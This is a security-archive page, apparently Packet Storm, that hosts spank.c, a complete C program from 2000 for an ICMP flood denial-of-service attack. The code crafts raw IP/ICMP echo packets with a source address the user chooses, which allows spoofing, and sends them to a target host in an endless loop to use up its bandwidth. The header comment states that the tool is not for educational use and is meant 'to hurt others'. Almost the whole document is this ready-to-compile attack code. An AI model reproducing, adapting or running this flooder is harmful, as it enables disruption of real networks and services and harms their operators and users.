exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

spank.c

spank.c
Posted Jan 28, 2000
Authored by Blasphemy

Spank - Denial of service attack. Uses up lots of bandwidth.

tags | denial of service
SHA-256 | c5c5937aab05d65c0563420fb7b006508227f7269f44fe3c7ead813e6cab7c7e

spank.c

Change Mirror Download
/*
* spank.c by fred_ | blasphemy
*
* @@@@@@ @@@@@@@ @@@@@@ @@@ @@@ @@@ @@@
* @@@@@@@ @@@@@@@@ @@@@@@@@ @@@@ @@@ @@@ @@@
* !@@ @@! @@@ @@! @@@ @@!@!@@@ @@! !@@
* !@! !@! @!@ !@! @!@ !@!!@!@! !@! @!!
* !!@@!! @!@@!@! @!@!@!@! @!@ !!@! @!@@!@!
* !!@!!! !!@!!! !!!@!!!! !@! !!! !!@!!!
* !:! !!: !!: !!! !!: !!! !!: :!!
* !:! :!: :!: !:! :!: !:! :!: !:!
* :::: :: :: :: ::: :: :: :: :::
* :: : : : : : : :: : : :::
*
* This program is not for educational use
* in any shape or form. You must agree that
* you will only use it to hurt others.
*
* Warning, this program uses alot of bandwidth.
*
* usage: ./spank <source> <destination> <size>
*
*/

#include <stdio.h>
#include <string.h>
#include <signal.h>
#include <sys/types.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <netinet/ip_icmp.h>

static int in_cksum(u_short *addr, int len);
static void fill(int datalen, char *icmp_data);

#define PHDR_LEN sizeof(struct icmphdr) + sizeof(struct iphdr)

static void
fill(int datalen, char *icmp_data)
{
static u_int32_t rnd;
int i;

for (i = PHDR_LEN; i < datalen; i++) {
rnd = (3141592621U * rnd + 663896637U);
icmp_data[i] = rnd>>24;
}
}

int
main(int argc, char *argv[])
{
int count = 0, sock, x;
struct sockaddr_in sin;

fprintf(stdout, "spank.c coded by fred_ | blasphemy\n");

if (argc != 4) {
fprintf(stderr,
"ex., %s <source> <destination> <size>\n",
argv[0]);
exit(1);
}

if (atoi(argv[3]) < 1) {
fprintf(stderr,
"error: packet size is too small.\n");
exit(1);
}

sin.sin_family = AF_INET;
sin.sin_port = htons(0);
sin.sin_addr.s_addr = get_addr(argv[2]);

sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if (sock < 0) {
perror("socket()");
exit(1);
}

setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &x, sizeof(x));

printf("each '.' is 25 packets\n");
while (1) {
send_packet(argv[1],
atoi(argv[3]), sin, sock);
count++;
if (count == 25) {
printf(".");
fflush(stdout);

count = 0;
}
usleep(10);
}
}

int get_addr(char *host)
{
static struct in_addr h;
struct hostent *hp;

h.s_addr = inet_addr(host);
if (h.s_addr == -1) {
hp = gethostbyname(host);
if (hp == NULL) {
fprintf(stderr,
"unable to resolve %s.\n", host);
exit(1);
}

bcopy(hp->h_addr, (char *)&h.s_addr, hp->h_length);
}

return h.s_addr;
}

int send_packet(char *src, int size,
struct sockaddr_in sin, int sock)
{
char *packet;
struct icmphdr *icmp;
struct iphdr *ip;

packet = (char *) malloc(PHDR_LEN + size);

ip = (struct iphdr *)packet;
icmp = (struct icmphdr *)(packet + sizeof(struct iphdr));

memset(packet, 0, PHDR_LEN);
fill(size, packet);

ip->tot_len = htons(PHDR_LEN + size);
ip->ihl = 5;
ip->ttl = 255;
ip->protocol = IPPROTO_ICMP;
ip->version = 4;
ip->tos = 0;
ip->frag_off = 0;
ip->saddr = get_addr(src);
ip->daddr = sin.sin_addr.s_addr;
ip->check = in_cksum((u_short *)ip,
sizeof(struct iphdr));

icmp->type = 8;
icmp->code = 1;
icmp->checksum = in_cksum((u_short *)icmp,
sizeof(struct icmphdr));

if (sendto(sock, packet, PHDR_LEN + size,
0, (struct sockaddr *)&sin,
sizeof(struct sockaddr)) == -1) {
close(sock);
perror("sendto()");
exit(1);
}

free(packet);
}

static int
in_cksum(u_short *addr, int len)
{
register int nleft = len;
register int sum = 0;
u_short answer = 0;

while (nleft > 1) {
sum += *addr++;
nleft -= 2;
}

if (nleft == 1) {
*(u_char *) (&answer) = *(u_char *) addr;
sum += answer;
}

sum = (sum >> 16) + (sum + 0xffff);
sum += (sum >> 16);

answer = ~sum;
return (answer);
}
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close